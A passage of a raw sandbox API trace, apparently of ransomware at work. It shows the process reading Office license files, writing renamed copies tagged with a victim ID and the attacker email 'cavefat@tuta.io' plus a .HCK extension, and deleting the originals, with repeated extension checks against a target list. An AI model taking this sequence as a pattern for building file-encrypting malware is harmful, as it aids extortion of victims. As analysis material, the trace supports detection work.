lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0243.464] lstrlenW (lpString=".1cd") returned 4 [0243.464] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0243.464] lstrlenW (lpString=".jpg") returned 4 [0243.464] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0243.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0243.464] lstrlenW (lpString=".doc") returned 4 [0243.464] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.464] lstrlenW (lpString=".docx") returned 5 [0243.464] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.464] lstrlenW (lpString=".pdf") returned 4 [0243.464] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.464] lstrlenW (lpString=".xls") returned 4 [0243.464] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.464] lstrlenW (lpString=".xlsx") returned 5 [0243.464] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.464] lstrlenW (lpString=".ppt") returned 4 [0243.464] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0243.464] lstrlenW (lpString=".zip") returned 4 [0243.464] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.464] lstrlenW (lpString=".rar") returned 4 [0243.464] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.464] lstrlenW (lpString=".bz2") returned 4 [0243.464] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.464] lstrlenW (lpString=".7z") returned 3 [0243.464] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0243.464] lstrlenW (lpString=".dbf") returned 4 [0243.464] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0243.465] lstrlenW (lpString=".1cd") returned 4 [0243.465] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0243.465] lstrlenW (lpString=".jpg") returned 4 [0243.465] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.465] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.465] lstrlenW (lpString="O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 43 [0243.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0243.466] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=23207) returned 1 [0243.466] CloseHandle (hObject=0x548) returned 1 [0243.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0243.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0243.466] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.466] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0243.467] GetLastError () returned 0x0 [0243.467] ReadFile (in: hFile=0x548, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x5aa7, lpOverlapped=0x0) returned 1 [0243.469] WriteFile (in: hFile=0x378, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x5ab0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x5ab0, lpOverlapped=0x0) returned 1 [0243.470] ReadFile (in: hFile=0x548, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.470] WriteFile (in: hFile=0x378, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x12a, lpOverlapped=0x0) returned 1 [0243.470] SetEndOfFile (hFile=0x378) returned 1 [0243.470] CloseHandle (hObject=0x378) returned 1 [0243.470] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.470] SetEndOfFile (hFile=0x548) returned 1 [0243.472] CloseHandle (hObject=0x548) returned 1 [0243.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.473] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0243.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0243.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0243.474] lstrlenW (lpString=".doc") returned 4 [0243.474] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.474] lstrlenW (lpString=".docx") returned 5 [0243.474] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.474] lstrlenW (lpString=".pdf") returned 4 [0243.474] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.474] lstrlenW (lpString=".xls") returned 4 [0243.474] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.474] lstrlenW (lpString=".xlsx") returned 5 [0243.474] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.474] lstrlenW (lpString=".ppt") returned 4 [0243.474] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0243.474] lstrlenW (lpString=".zip") returned 4 [0243.474] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.474] lstrlenW (lpString=".rar") returned 4 [0243.474] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.474] lstrlenW (lpString=".bz2") returned 4 [0243.474] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.474] lstrlenW (lpString=".7z") returned 3 [0243.474] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0243.474] lstrlenW (lpString=".dbf") returned 4 [0243.474] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0243.474] lstrlenW (lpString=".1cd") returned 4 [0243.474] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0243.474] lstrlenW (lpString=".jpg") returned 4 [0243.474] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0243.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0243.474] lstrlenW (lpString=".doc") returned 4 [0243.474] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.474] lstrlenW (lpString=".docx") returned 5 [0243.474] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.474] lstrlenW (lpString=".pdf") returned 4 [0243.474] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.474] lstrlenW (lpString=".xls") returned 4 [0243.474] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.475] lstrlenW (lpString=".xlsx") returned 5 [0243.475] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.475] lstrlenW (lpString=".ppt") returned 4 [0243.475] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0243.475] lstrlenW (lpString=".zip") returned 4 [0243.475] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.475] lstrlenW (lpString=".rar") returned 4 [0243.475] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.475] lstrlenW (lpString=".bz2") returned 4 [0243.475] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.475] lstrlenW (lpString=".7z") returned 3 [0243.475] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0243.475] lstrlenW (lpString=".dbf") returned 4 [0243.475] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0243.475] lstrlenW (lpString=".1cd") returned 4 [0243.475] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0243.475] lstrlenW (lpString=".jpg") returned 4 [0243.475] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.475] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.475] lstrlenW (lpString="O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 46 [0243.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0243.476] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=11674) returned 1 [0243.476] CloseHandle (hObject=0x548) returned 1 [0243.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0243.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0243.476] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.477] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0243.477] GetLastError () returned 0x0 [0243.477] ReadFile (in: hFile=0x548, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x2d9a, lpOverlapped=0x0) returned 1 [0243.479] WriteFile (in: hFile=0x378, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2da0, lpOverlapped=0x0) returned 1 [0243.480] ReadFile (in: hFile=0x548, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.480] WriteFile (in: hFile=0x378, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x130, lpOverlapped=0x0) returned 1 [0243.480] SetEndOfFile (hFile=0x378) returned 1 [0243.480] CloseHandle (hObject=0x378) returned 1 [0243.480] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.480] SetEndOfFile (hFile=0x548) returned 1 [0243.483] CloseHandle (hObject=0x548) returned 1 [0243.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.484] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0243.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0243.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0243.485] lstrlenW (lpString=".doc") returned 4 [0243.485] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.485] lstrlenW (lpString=".docx") returned 5 [0243.485] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.485] lstrlenW (lpString=".pdf") returned 4 [0243.485] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.485] lstrlenW (lpString=".xls") returned 4 [0243.485] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.485] lstrlenW (lpString=".xlsx") returned 5 [0243.485] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.485] lstrlenW (lpString=".ppt") returned 4 [0243.485] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0243.485] lstrlenW (lpString=".zip") returned 4 [0243.485] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.485] lstrlenW (lpString=".rar") returned 4 [0243.485] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.485] lstrlenW (lpString=".bz2") returned 4 [0243.485] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.485] lstrlenW (lpString=".7z") returned 3 [0243.485] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0243.485] lstrlenW (lpString=".dbf") returned 4 [0243.485] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0243.485] lstrlenW (lpString=".1cd") returned 4 [0243.485] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0243.486] lstrlenW (lpString=".jpg") returned 4 [0243.486] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0243.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0243.486] lstrlenW (lpString=".doc") returned 4 [0243.486] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.486] lstrlenW (lpString=".docx") returned 5 [0243.486] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.486] lstrlenW (lpString=".pdf") returned 4 [0243.486] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.486] lstrlenW (lpString=".xls") returned 4 [0243.486] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.486] lstrlenW (lpString=".xlsx") returned 5 [0243.486] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.486] lstrlenW (lpString=".ppt") returned 4 [0243.486] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0243.486] lstrlenW (lpString=".zip") returned 4 [0243.486] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.486] lstrlenW (lpString=".rar") returned 4 [0243.486] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.486] lstrlenW (lpString=".bz2") returned 4 [0243.486] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.486] lstrlenW (lpString=".7z") returned 3 [0243.486] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0243.486] lstrlenW (lpString=".dbf") returned 4 [0243.486] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0243.486] lstrlenW (lpString=".1cd") returned 4 [0243.486] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0243.486] lstrlenW (lpString=".jpg") returned 4 [0243.486] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.486] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.486] lstrlenW (lpString="O365HomePremR_Grace-ppd.xrm-ms") returned 30 [0243.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0243.487] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=23068) returned 1 [0243.487] CloseHandle (hObject=0x548) returned 1 [0243.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms")) returned 0x220 [0243.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0243.488] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.488] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0243.489] GetLastError () returned 0x0 [0243.489] ReadFile (in: hFile=0x548, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x5a1c, lpOverlapped=0x0) returned 1 [0243.491] WriteFile (in: hFile=0x378, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x5a20, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x5a20, lpOverlapped=0x0) returned 1 [0243.492] ReadFile (in: hFile=0x548, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.492] WriteFile (in: hFile=0x378, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x110, lpOverlapped=0x0) returned 1 [0243.492] SetEndOfFile (hFile=0x378) returned 1 [0243.492] CloseHandle (hObject=0x378) returned 1 [0243.492] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.492] SetEndOfFile (hFile=0x548) returned 1 [0243.494] CloseHandle (hObject=0x548) returned 1 [0243.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.495] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms")) returned 1 [0243.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0243.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0243.496] lstrlenW (lpString=".doc") returned 4 [0243.496] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.496] lstrlenW (lpString=".docx") returned 5 [0243.496] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.496] lstrlenW (lpString=".pdf") returned 4 [0243.496] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.496] lstrlenW (lpString=".xls") returned 4 [0243.496] lstrcmpiW (lpString1=".xls", 